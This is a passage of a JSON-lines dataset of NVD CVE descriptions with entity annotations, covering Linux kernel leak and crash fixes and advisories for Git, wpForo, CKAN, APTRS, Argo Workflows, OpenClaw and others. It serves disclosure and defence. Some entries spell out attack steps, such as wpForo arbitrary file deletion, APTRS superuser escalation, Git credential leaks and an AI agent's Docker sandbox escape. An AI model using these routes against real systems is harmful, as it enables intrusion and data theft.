{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf trace: Really free the evsel->priv area\n\nIn 3cb4d5e00e037c70 (\"perf trace: Free syscall tp fields in\nevsel->priv\") it only was freeing if strcmp(evsel->tp_format->system,\n\"syscalls\") returned zero, while the corresponding initialization of\nevsel->priv was being performed if it was _not_ zero, i.e. if the tp\nsystem wasn't 'syscalls'.\n\nJust stop looking for that and free it if evsel->priv was set, which\nshould be equivalent.\n\nAlso use the pre-existing evsel_trace__delete() function.\n\nThis resolves these leaks, detected with:\n\n  $ make EXTRA_CFLAGS=\"-fsanitize=address\" BUILD_BPF_SKEL=1 CORESIGHT=1 O=/tmp/build/perf-tools-next -C tools/perf install-bin\n\n  =================================================================\n  ==481565==ERROR: LeakSanitizer: detected memory leaks\n\n  Direct leak of 40 byte(s) in 1 object(s) allocated from:\n      #0 0x7f7343cba097 in calloc (/lib64/libasan.so.8+0xba097)\n      #1 0x987966 in zalloc (/home/acme/bin/perf+0x987966)\n      #2 0x52f9b9 in evsel_trace__new /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:307\n      #3 0x52f9b9 in evsel__syscall_tp /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:333\n      #4 0x52f9b9 in evsel__init_raw_syscall_tp /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:458\n      #5 0x52f9b9 in perf_evsel__raw_syscall_newtp /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:480\n      #6 0x540e8b in trace__add_syscall_newtp /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:3212\n      #7 0x540e8b in trace__run /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:3891\n      #8 0x540e8b in cmd_trace /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:5156\n      #9 0x5ef262 in run_builtin /home/acme/git/perf-tools-next/tools/perf/perf.c:323\n      #10 0x4196da in handle_internal_command /home/acme/git/perf-tools-next/tools/perf/perf.c:377\n      #11 0x4196da in run_argv /home/acme/git/perf-tools-next/tools/perf/perf.c:421\n      #12 0x4196da in main /home/acme/git/perf-tools-next/tools/perf/perf.c:537\n      #13 0x7f7342c4a50f in __libc_start_call_main (/lib64/libc.so.6+0x2750f)\n\n  Direct leak of 40 byte(s) in 1 object(s) allocated from:\n      #0 0x7f7343cba097 in calloc (/lib64/libasan.so.8+0xba097)\n      #1 0x987966 in zalloc (/home/acme/bin/perf+0x987966)\n      #2 0x52f9b9 in evsel_trace__new /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:307\n      #3 0x52f9b9 in evsel__syscall_tp /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:333\n      #4 0x52f9b9 in evsel__init_raw_syscall_tp /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:458\n      #5 0x52f9b9 in perf_evsel__raw_syscall_newtp /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:480\n      #6 0x540dd1 in trace__add_syscall_newtp /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:3205\n      #7 0x540dd1 in trace__run /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:3891\n      #8 0x540dd1 in cmd_trace /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:5156\n      #9 0x5ef262 in run_builtin /home/acme/git/perf-tools-next/tools/perf/perf.c:323\n      #10 0x4196da in handle_internal_command /home/acme/git/perf-tools-next/tools/perf/perf.c:377\n      #11 0x4196da in run_argv /home/acme/git/perf-tools-next/tools/perf/perf.c:421\n      #12 0x4196da in main /home/acme/git/perf-tools-next/tools/perf/perf.c:537\n      #13 0x7f7342c4a50f in __libc_start_call_main (/lib64/libc.so.6+0x2750f)\n\n  SUMMARY: AddressSanitizer: 80 byte(s) leaked in 2 allocation(s).\n  [root@quaco ~]#\n\nWith this we plug all leaks with \"perf trace sleep 1\".", "spans": {"FILEPATH: /tmp/build/perf-tools-next": [[678, 704]], "FILEPATH: /lib64/libasan.so.8": [[951, 970], [2283, 2302]], "FILEPATH: /home/acme/bin/perf": [[1009, 1028], [2341, 2360]], "FILEPATH: /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c": [[1077, 1134], [1178, 1235], [1288, 1345], [1401, 1458], [1509, 1566], [1604, 1661], [1698, 1755], [2409, 2466], [2510, 2567], [2620, 2677], [2733, 2790], [2841, 2898], [2936, 2993], [3030, 3087]], "FILEPATH: /home/acme/git/perf-tools-next/tools/perf/perf.c": [[1794, 1842], [1893, 1941], [1977, 2025], [2057, 2105], [3126, 3174], [3225, 3273], [3309, 3357], [3389, 3437]], "FILEPATH: /lib64/libc.so.6": [[2162, 2178], [3494, 3510]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53649"}}
{"text": "Affected versions of Git have a vulnerability whereby Git can be tricked into sending private credentials to a host controlled by an attacker. Git uses external \"credential helper\" programs to store and retrieve passwords or other credentials from secure storage provided by the operating system. Specially-crafted URLs that contain an encoded newline can inject unintended values into the credential helper protocol stream, causing the credential helper to retrieve the password for one server (e.g., good.example.com) for an HTTP request being made to another server (e.g., evil.example.com), resulting in credentials for the former being sent to the latter. There are no restrictions on the relationship between the two, meaning that an attacker can craft a URL that will present stored credentials for any host to a host of their choosing. The vulnerability can be triggered by feeding a malicious URL to git clone. However, the affected URLs look rather suspicious; the likely vector would be through systems which automatically clone URLs not visible to the user, such as Git submodules, or package systems built around Git. The problem has been patched in the versions published on April 14th, 2020, going back to v2.17.x. Anyone wishing to backport the change further can do so by applying commit 9a6bbee (the full release includes extra checks for git fsck, but that commit is sufficient to protect clients against the vulnerability). The patched versions are: 2.17.4, 2.18.3, 2.19.4, 2.20.3, 2.21.2, 2.22.3, 2.23.2, 2.24.2, 2.25.3, 2.26.1.", "spans": {"DOMAIN: good.example.com": [[502, 518]], "DOMAIN: evil.example.com": [[576, 592]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-5260"}}
{"text": "The wpForo Forum plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to and including 3.0.2. This is due to a two-step logic flaw: the topic_add() and topic_edit() action handlers accept arbitrary user-supplied data[*] arrays from $_REQUEST and store them as postmeta without restricting which fields may contain array values. Because 'body' is included in the allowed topic fields list, an attacker can supply data[body][fileurl] with an arbitrary file path (e.g., wp-config.php or an absolute server path). This poisoned fileurl is persisted to the plugin's custom postmeta database table. Subsequently, when the attacker submits wpftcf_delete[]=body on a topic_edit request, the add_file() method retrieves the stored postmeta record, extracts the attacker-controlled fileurl, passes it through wpforo_fix_upload_dir() which only rewrites legitimate wpforo upload paths and returns all other paths unchanged, and then calls wp_delete_file() on the unvalidated path. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files writable by the PHP process on the server, including critical files such as wp-config.", "spans": {"FILEPATH: config.php": [[494, 504]], "SYSTEM: WordPress": [[28, 37]], "SYSTEM: PHP": [[1128, 1131]], "VULNERABILITY: Arbitrary File Deletion": [[55, 78]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-5809"}}
{"text": "The Administration GUI component of TIBCO Software Inc.'s TIBCO Administrator - Enterprise Edition, TIBCO Administrator - Enterprise Edition, TIBCO Administrator - Enterprise Edition Distribution for TIBCO Silver Fabric, TIBCO Administrator - Enterprise Edition Distribution for TIBCO Silver Fabric, TIBCO Administrator - Enterprise Edition for z/Linux, and TIBCO Administrator - Enterprise Edition for z/Linux contains an easily exploitable vulnerability that allows a low privileged attacker with network access to execute a persistent CSV injection attack from the affected system. A successful attack using this vulnerability requires human interaction from a person other than the attacker. Affected releases are TIBCO Software Inc.'s TIBCO Administrator - Enterprise Edition: versions 5.10.2 and below, TIBCO Administrator - Enterprise Edition: versions 5.11.0 and 5.11.1, TIBCO Administrator - Enterprise Edition Distribution for TIBCO Silver Fabric: versions 5.10.2 and below, TIBCO Administrator - Enterprise Edition Distribution for TIBCO Silver Fabric: versions 5.11.0 and 5.11.1, TIBCO Administrator - Enterprise Edition for z/Linux: versions 5.10.2 and below, and TIBCO Administrator - Enterprise Edition for z/Linux: versions 5.11.0 and 5.11.1.", "spans": {"SYSTEM: Linux": [[347, 352], [405, 410], [1139, 1144], [1224, 1229]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-28829"}}
{"text": "OpenClaw is a personal AI assistant. Prior to version 2026.2.15, a configuration injection issue in the Docker tool sandbox could allow dangerous Docker options (bind mounts, host networking, unconfined profiles) to be applied, enabling container escape or host data access. OpenClaw 2026.2.15 blocks dangerous sandbox Docker settings and includes runtime enforcement when building `docker create` args; config-schema validation for `network=host`, `seccompProfile=unconfined`, `apparmorProfile=unconfined`; and security audit findings to surface dangerous sandbox docker config. As a workaround, do not configure `agents.*.sandbox.docker.binds` to mount system directories or Docker socket paths, keep `agents.*.sandbox.docker.network` at `none` (default) or `bridge`, and do not use `unconfined` for seccomp/AppArmor profiles.", "spans": {"ORGANIZATION: Docker": [[104, 110], [146, 152], [319, 325], [677, 683]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27002"}}
{"text": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Versions prior to 3.6.12 and versions 3.7.0 through 3.7.2 contain a Zip Slip path traversal vulnerability in artifact extraction. During artifact extraction the unpack/untar logic (workflow/executor/executor.go) uses filepath.Join(dest, filepath.Clean(header.Name)) without validating that header.Name stays within the intended extraction directory. A malicious archive entry can supply a traversal or absolute path that, after cleaning, overrides the destination directory and causes files to be written outside the /work/tmp extraction path and into system directories such as /etc inside the container. The vulnerability enables arbitrary file creation or overwrite in system configuration locations (for example /etc/passwd, /etc/hosts, /etc/crontab), which can lead to privilege escalation or persistence within the affected container. Update to 3.6.12 or 3.7.3 to remediate the issue.", "spans": {"FILEPATH: /executor/executor.go": [[302, 323]], "FILEPATH: /work/tmp": [[630, 639]], "FILEPATH: /etc/passwd": [[829, 840]], "FILEPATH: /etc/hosts": [[842, 852]], "FILEPATH: /etc/crontab": [[854, 866]], "SYSTEM: Kubernetes": [[101, 111]], "VULNERABILITY: privilege escalation": [[887, 907]], "VULNERABILITY: path traversal": [[190, 204]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-62156"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf/x86/amd/uncore: Fix memory leak for events array\n\nWhen a CPU comes online, the per-CPU NB and LLC uncore contexts are\nfreed but not the events array within the context structure. This\ncauses a memory leak as identified by the kmemleak detector.\n\n  [...]\n  unreferenced object 0xffff8c5944b8e320 (size 32):\n    comm \"swapper/0\", pid 1, jiffies 4294670387 (age 151.072s)\n    hex dump (first 32 bytes):\n      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n    backtrace:\n      [<000000000759fb79>] amd_uncore_cpu_up_prepare+0xaf/0x230\n      [<00000000ddc9e126>] cpuhp_invoke_callback+0x2cf/0x470\n      [<0000000093e727d4>] cpuhp_issue_call+0x14d/0x170\n      [<0000000045464d54>] __cpuhp_setup_state_cpuslocked+0x11e/0x330\n      [<0000000069f67cbd>] __cpuhp_setup_state+0x6b/0x110\n      [<0000000015365e0f>] amd_uncore_init+0x260/0x321\n      [<00000000089152d2>] do_one_initcall+0x3f/0x1f0\n      [<000000002d0bd18d>] kernel_init_freeable+0x1ca/0x212\n      [<0000000030be8dde>] kernel_init+0x11/0x120\n      [<0000000059709e59>] ret_from_fork+0x22/0x30\n  unreferenced object 0xffff8c5944b8dd40 (size 64):\n    comm \"swapper/0\", pid 1, jiffies 4294670387 (age 151.072s)\n    hex dump (first 32 bytes):\n      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n    backtrace:\n      [<00000000306efe8b>] amd_uncore_cpu_up_prepare+0x183/0x230\n      [<00000000ddc9e126>] cpuhp_invoke_callback+0x2cf/0x470\n      [<0000000093e727d4>] cpuhp_issue_call+0x14d/0x170\n      [<0000000045464d54>] __cpuhp_setup_state_cpuslocked+0x11e/0x330\n      [<0000000069f67cbd>] __cpuhp_setup_state+0x6b/0x110\n      [<0000000015365e0f>] amd_uncore_init+0x260/0x321\n      [<00000000089152d2>] do_one_initcall+0x3f/0x1f0\n      [<000000002d0bd18d>] kernel_init_freeable+0x1ca/0x212\n      [<0000000030be8dde>] kernel_init+0x11/0x120\n      [<0000000059709e59>] ret_from_fork+0x22/0x30\n  [...]\n\nFix the problem by freeing the events array before freeing the uncore\ncontext.", "spans": {"FILEPATH: /x86/amd/uncore": [[73, 88]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[94, 105], [267, 278]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49784"}}
{"text": "CKAN is an open-source data management system for powering data hubs and data portals. Multiple vulnerabilities have been discovered in Ckan which may lead to remote code execution. An arbitrary file write in `resource_create` and `package_update` actions, using the `ResourceUploader` object.  Also reachable via `package_create`, `package_revise`, and `package_patch` via calls to `package_update`. Remote code execution via unsafe pickle loading, via Beaker's session store when configured to use the file session store backend. Potential DOS due to lack of a length check on the resource id. Information disclosure: A user with permission to create a resource can access any other resource on the system if they know the id, even if they don't have access to it. Resource overwrite: A user with permission to create a resource can overwrite any resource if they know the id, even if they don't have access to it. A user with permissions to create or edit a dataset can upload a resource with a specially crafted id to write the uploaded file in an arbitrary location. This can be leveraged to Remote Code Execution via Beaker's insecure pickle loading. All the above listed vulnerabilities have been fixed in CKAN 2.9.9 and CKAN 2.10.1. Users are advised to upgrade. There are no known workarounds for these issues.", "spans": {"VULNERABILITY: Information disclosure": [[596, 618]], "VULNERABILITY: remote code execution": [[159, 180]], "VULNERABILITY: Remote code execution": [[401, 422]], "VULNERABILITY: Remote Code Execution": [[1097, 1118]], "VULNERABILITY: arbitrary file write": [[185, 205]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-32321"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfs: fix UAF in direct writes\n\nIn production we have been hitting the following warning consistently\n\n------------[ cut here ]------------\nrefcount_t: underflow; use-after-free.\nWARNING: CPU: 17 PID: 1800359 at lib/refcount.c:28 refcount_warn_saturate+0x9c/0xe0\nWorkqueue: nfsiod nfs_direct_write_schedule_work [nfs]\nRIP: 0010:refcount_warn_saturate+0x9c/0xe0\nPKRU: 55555554\nCall Trace:\n <TASK>\n ? __warn+0x9f/0x130\n ? refcount_warn_saturate+0x9c/0xe0\n ? report_bug+0xcc/0x150\n ? handle_bug+0x3d/0x70\n ? exc_invalid_op+0x16/0x40\n ? asm_exc_invalid_op+0x16/0x20\n ? refcount_warn_saturate+0x9c/0xe0\n nfs_direct_write_schedule_work+0x237/0x250 [nfs]\n process_one_work+0x12f/0x4a0\n worker_thread+0x14e/0x3b0\n ? ZSTD_getCParams_internal+0x220/0x220\n kthread+0xdc/0x120\n ? __btf_name_valid+0xa0/0xa0\n ret_from_fork+0x1f/0x30\n\nThis is because we're completing the nfs_direct_request twice in a row.\n\nThe source of this is when we have our commit requests to submit, we\nprocess them and send them off, and then in the completion path for the\ncommit requests we have\n\nif (nfs_commit_end(cinfo.mds))\n\tnfs_direct_write_complete(dreq);\n\nHowever since we're submitting asynchronous requests we sometimes have\none that completes before we submit the next one, so we end up calling\ncomplete on the nfs_direct_request twice.\n\nThe only other place we use nfs_generic_commit_list() is in\n__nfs_commit_inode, which wraps this call in a\n\nnfs_commit_begin();\nnfs_commit_end();\n\nWhich is a common pattern for this style of completion handling, one\nthat is also repeated in the direct code with get_dreq()/put_dreq()\ncalls around where we process events as well as in the completion paths.\n\nFix this by using the same pattern for the commit requests.\n\nBefore with my 200 node rocksdb stress running this warning would pop\nevery 10ish minutes.  With my patch the stress test has been running for\nseveral hours without popping.", "spans": {"FILEPATH: refcount.c": [[284, 294]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[231, 245]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26958"}}
{"text": "APTRS (Automated Penetration Testing Reporting System) is a Python and Django-based automated reporting tool designed for penetration testers and security organizations. Prior to version 2.0.1, the edit_user endpoint (POST /api/auth/edituser/<pk>) allows Any user who can reach that endpoint and submit crafted permission to escalate their own account (or any other account) to superuser by including \"is_superuser\": true in the request body. The root cause is that CustomUserSerializer explicitly includes is_superuser in its fields list but omits it from read_only_fields, making it a writable field. The edit_user view performs no additional validation to prevent non-superusers from modifying this field. Once is_superuser is set to true, gaining unrestricted access to all application functionality without requiring re-authentication. This issue has been patched in version 2.0.1.", "spans": {"FILEPATH: /api/auth/edituser": [[223, 241]], "SYSTEM: Python": [[60, 66]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34406"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: encx24j600: check error in devm_regmap_init_encx24j600\n\ndevm_regmap_init may return error which caused by like out of memory,\nthis will results in null pointer dereference later when reading\nor writing register:\n\ngeneral protection fault in encx24j600_spi_probe\nKASAN: null-ptr-deref in range [0x0000000000000090-0x0000000000000097]\nCPU: 0 PID: 286 Comm: spi-encx24j600- Not tainted 5.15.0-rc2-00142-g9978db750e31-dirty #11 9c53a778c1306b1b02359f3c2bbedc0222cba652\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014\nRIP: 0010:regcache_cache_bypass drivers/base/regmap/regcache.c:540\nCode: 54 41 89 f4 55 53 48 89 fb 48 83 ec 08 e8 26 94 a8 fe 48 8d bb a0 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 4a 03 00 00 4c 8d ab b0 00 00 00 48 8b ab a0 00\nRSP: 0018:ffffc900010476b8 EFLAGS: 00010207\nRAX: dffffc0000000000 RBX: fffffffffffffff4 RCX: 0000000000000000\nRDX: 0000000000000012 RSI: ffff888002de0000 RDI: 0000000000000094\nRBP: ffff888013c9a000 R08: 0000000000000000 R09: fffffbfff3f9cc6a\nR10: ffffc900010476e8 R11: fffffbfff3f9cc69 R12: 0000000000000001\nR13: 000000000000000a R14: ffff888013c9af54 R15: ffff888013c9ad08\nFS:  00007ffa984ab580(0000) GS:ffff88801fe00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 000055a6384136c8 CR3: 000000003bbe6003 CR4: 0000000000770ef0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nPKRU: 55555554\nCall Trace:\n encx24j600_spi_probe drivers/net/ethernet/microchip/encx24j600.c:459\n spi_probe drivers/spi/spi.c:397\n really_probe drivers/base/dd.c:517\n __driver_probe_device drivers/base/dd.c:751\n driver_probe_device drivers/base/dd.c:782\n __device_attach_driver drivers/base/dd.c:899\n bus_for_each_drv drivers/base/bus.c:427\n __device_attach drivers/base/dd.c:971\n bus_probe_device drivers/base/bus.c:487\n device_add drivers/base/core.c:3364\n __spi_add_device drivers/spi/spi.c:599\n spi_add_device drivers/spi/spi.c:641\n spi_new_device drivers/spi/spi.c:717\n new_device_store+0x18c/0x1f1 [spi_stub 4e02719357f1ff33f5a43d00630982840568e85e]\n dev_attr_store drivers/base/core.c:2074\n sysfs_kf_write fs/sysfs/file.c:139\n kernfs_fop_write_iter fs/kernfs/file.c:300\n new_sync_write fs/read_write.c:508 (discriminator 4)\n vfs_write fs/read_write.c:594\n ksys_write fs/read_write.c:648\n do_syscall_64 arch/x86/entry/common.c:50\n entry_SYSCALL_64_after_hwframe arch/x86/entry/entry_64.S:113\n\nAdd error check in devm_regmap_init_encx24j600 to avoid this situation.", "spans": {"HASH: 9c53a778c1306b1b02359f3c2bbedc0222cba652": [[498, 538]], "HASH: 4e02719357f1ff33f5a43d00630982840568e85e": [[2208, 2248]], "FILEPATH: /01/2014": [[619, 627]], "FILEPATH: /base/regmap/regcache.c": [[667, 690]], "FILEPATH: /net/ethernet/microchip/encx24j600.c": [[1650, 1686]], "FILEPATH: /spi/spi.c": [[1709, 1719], [2077, 2087], [2115, 2125], [2153, 2163]], "FILEPATH: /base/dd.c": [[1745, 1755], [1790, 1800], [1833, 1843], [1879, 1889], [1959, 1969]], "FILEPATH: /base/bus.c": [[1919, 1930], [1999, 2010]], "FILEPATH: /base/core.c": [[2034, 2046], [2273, 2285]], "FILEPATH: /sysfs/file.c": [[2309, 2322]], "FILEPATH: /kernfs/file.c": [[2352, 2366]], "FILEPATH: /x86/entry/common.c": [[2507, 2526]], "FILEPATH: /x86/entry/entry_64.S": [[2566, 2587]], "FILEPATH: read_write.c": [[2390, 2402], [2439, 2451], [2471, 2483]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[554, 558]], "VULNERABILITY: null pointer dereference": [[221, 245]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47440"}}
{"text": "phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the searchCustomPages() method in phpmyfaq/src/phpMyFAQ/Search.php uses real_escape_string() (via escape()) to sanitize the search term before embedding it in LIKE clauses. However, real_escape_string() does not escape SQL LIKE metacharacters % (match any sequence) and _ (match any single character). An unauthenticated attacker can inject these wildcards into search queries, causing them to match unintended records — including content that was not meant to be surfaced — resulting in information disclosure. This issue has been patched in version 4.1.1.", "spans": {"FILEPATH: /src/phpMyFAQ/Search.php": [[114, 138]], "VULNERABILITY: information disclosure": [[560, 582]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34973"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrcu/nocb: Fix WARN_ON_ONCE() in the rcu_nocb_bypass_lock()\n\nFor the kernels built with CONFIG_RCU_NOCB_CPU_DEFAULT_ALL=y and\nCONFIG_RCU_LAZY=y, the following scenarios will trigger WARN_ON_ONCE()\nin the rcu_nocb_bypass_lock() and rcu_nocb_wait_contended() functions:\n\n        CPU2                                               CPU11\nkthread\nrcu_nocb_cb_kthread                                       ksys_write\nrcu_do_batch                                              vfs_write\nrcu_torture_timer_cb                                      proc_sys_write\n__kmem_cache_free                                         proc_sys_call_handler\nkmemleak_free                                             drop_caches_sysctl_handler\ndelete_object_full                                        drop_slab\n__delete_object                                           shrink_slab\nput_object                                                lazy_rcu_shrink_scan\ncall_rcu                                                  rcu_nocb_flush_bypass\n__call_rcu_commn                                            rcu_nocb_bypass_lock\n                                                            raw_spin_trylock(&rdp->nocb_bypass_lock) fail\n                                                            atomic_inc(&rdp->nocb_lock_contended);\nrcu_nocb_wait_contended                                     WARN_ON_ONCE(smp_processor_id() != rdp->cpu);\n WARN_ON_ONCE(atomic_read(&rdp->nocb_lock_contended))                                          |\n                            |_ _ _ _ _ _ _ _ _ _same rdp and rdp->cpu != 11_ _ _ _ _ _ _ _ _ __|\n\nReproduce this bug with \"echo 3 > /proc/sys/vm/drop_caches\".\n\nThis commit therefore uses rcu_nocb_try_flush_bypass() instead of\nrcu_nocb_flush_bypass() in lazy_rcu_shrink_scan().  If the nocb_bypass\nqueue is being flushed, then rcu_nocb_try_flush_bypass will return\ndirectly.", "spans": {"FILEPATH: /proc/sys/vm/drop_caches": [[1703, 1727]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35929"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: fix unprivileged local user can do privileged policy management\n\nAn unprivileged local user can load, replace, and remove profiles by\nopening the apparmorfs interfaces, via a confused deputy attack, by\npassing the opened fd to a privileged process, and getting the\nprivileged process to write to the interface.\n\nThis does require a privileged target that can be manipulated to do\nthe write for the unprivileged process, but once such access is\nachieved full policy management is possible and all the possible\nimplications that implies: removing confinement, DoS of system or\ntarget applications by denying all execution, by-passing the\nunprivileged user namespace restriction, to exploiting kernel bugs for\na local privilege escalation.\n\nThe policy management interface can not have its permissions simply\nchanged from 0666 to 0600 because non-root processes need to be able\nto load policy to different policy namespaces.\n\nInstead ensure the task writing the interface has privileges that\nare a subset of the task that opened the interface. This is already\ndone via policy for confined processes, but unconfined can delegate\naccess to the opened fd, by-passing the usual policy check.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: privilege escalation": [[794, 814]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23268"}}
{"text": "Tuleap is a Libre and Open Source tool for end to end traceability of application and system developments. This is a follow up to GHSA-887w-pv2r-x8pm/CVE-2021-41276, the initial fix was incomplete. Tuleap does not sanitize properly the search filter built from the ldap_id attribute of a user during the daily synchronization. A malicious user could force accounts to be suspended or take over another account by forcing the update of the ldap_uid attribute. Note that the malicious user either need to have site administrator capability on the Tuleap instance or be an LDAP operator with the capability to create/modify account. The Tuleap instance needs to have the LDAP plugin activated and enabled for this issue to be exploitable. The following versions contain the fix: Tuleap Community Edition 13.2.99.83, Tuleap Enterprise Edition 13.1-6, and Tuleap Enterprise Edition 13.2-4.", "spans": {"CVE_ID: CVE-2021-41276": [[150, 164]], "IP_ADDRESS: 13.2.99.83": [[801, 811]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-43782"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: avoid possible NULL deref in rt6_uncached_list_flush_dev()\n\nBlamed commit accidentally removed a check for rt->rt6i_idev being NULL,\nas spotted by syzbot:\n\nOops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN PTI\nKASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\nCPU: 1 UID: 0 PID: 10998 Comm: syz-executor Not tainted 6.11.0-rc6-syzkaller-00208-g625403177711 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/06/2024\n RIP: 0010:rt6_uncached_list_flush_dev net/ipv6/route.c:177 [inline]\n RIP: 0010:rt6_disable_ip+0x33e/0x7e0 net/ipv6/route.c:4914\nCode: 41 80 3c 04 00 74 0a e8 90 d0 9b f7 48 8b 7c 24 08 48 8b 07 48 89 44 24 10 4c 89 f0 48 c1 e8 03 48 b9 00 00 00 00 00 fc ff df <80> 3c 08 00 74 08 4c 89 f7 e8 64 d0 9b f7 48 8b 44 24 18 49 39 06\nRSP: 0018:ffffc900047374e0 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: 1ffff1100fdf8f33 RCX: dffffc0000000000\nRDX: 0000000000000000 RSI: 0000000000000004 RDI: ffff88807efc78c0\nRBP: ffffc900047375d0 R08: 0000000000000003 R09: fffff520008e6e8c\nR10: dffffc0000000000 R11: fffff520008e6e8c R12: 1ffff1100fdf8f18\nR13: ffff88807efc7998 R14: 0000000000000000 R15: ffff88807efc7930\nFS:  0000000000000000(0000) GS:ffff8880b8900000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000020002a80 CR3: 0000000022f62000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n  addrconf_ifdown+0x15d/0x1bd0 net/ipv6/addrconf.c:3856\n addrconf_notify+0x3cb/0x1020\n  notifier_call_chain+0x19f/0x3e0 kernel/notifier.c:93\n  call_netdevice_notifiers_extack net/core/dev.c:2032 [inline]\n  call_netdevice_notifiers net/core/dev.c:2046 [inline]\n  unregister_netdevice_many_notify+0xd81/0x1c40 net/core/dev.c:11352\n  unregister_netdevice_many net/core/dev.c:11414 [inline]\n  unregister_netdevice_queue+0x303/0x370 net/core/dev.c:11289\n  unregister_netdevice include/linux/netdevice.h:3129 [inline]\n  __tun_detach+0x6b9/0x1600 drivers/net/tun.c:685\n  tun_detach drivers/net/tun.c:701 [inline]\n  tun_chr_close+0x108/0x1b0 drivers/net/tun.c:3510\n  __fput+0x24a/0x8a0 fs/file_table.c:422\n  task_work_run+0x24f/0x310 kernel/task_work.c:228\n  exit_task_work include/linux/task_work.h:40 [inline]\n  do_exit+0xa2f/0x27f0 kernel/exit.c:882\n  do_group_exit+0x207/0x2c0 kernel/exit.c:1031\n  __do_sys_exit_group kernel/exit.c:1042 [inline]\n  __se_sys_exit_group kernel/exit.c:1040 [inline]\n  __x64_sys_exit_group+0x3f/0x40 kernel/exit.c:1040\n  x64_sys_call+0x2634/0x2640 arch/x86/include/generated/asm/syscalls_64.h:232\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f1acc77def9\nCode: Unable to access opcode bytes at 0x7f1acc77decf.\nRSP: 002b:00007ffeb26fa738 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7\nRAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f1acc77def9\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000043\nRBP: 00007f1acc7dd508 R08: 00007ffeb26f84d7 R09: 0000000000000003\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000001\nR13: 0000000000000003 R14: 00000000ffffffff R15: 00007ffeb26fa8e0\n </TASK>\nModules linked in:\n---[ end trace 0000000000000000 ]---\n RIP: 0010:rt6_uncached_list_flush_dev net/ipv6/route.c:177 [inline]\n RIP: 0010:rt6_disable_ip+0x33e/0x7e0 net/ipv6/route.c:4914\nCode: 41 80 3c 04 00 74 0a e8 90 d0 9b f7 48 8b 7c 24 08 48 8b 07 48 89 44 24 10 4c 89 f0 48 c1 e8 03 48 b9 00 00 00 00 00 fc ff 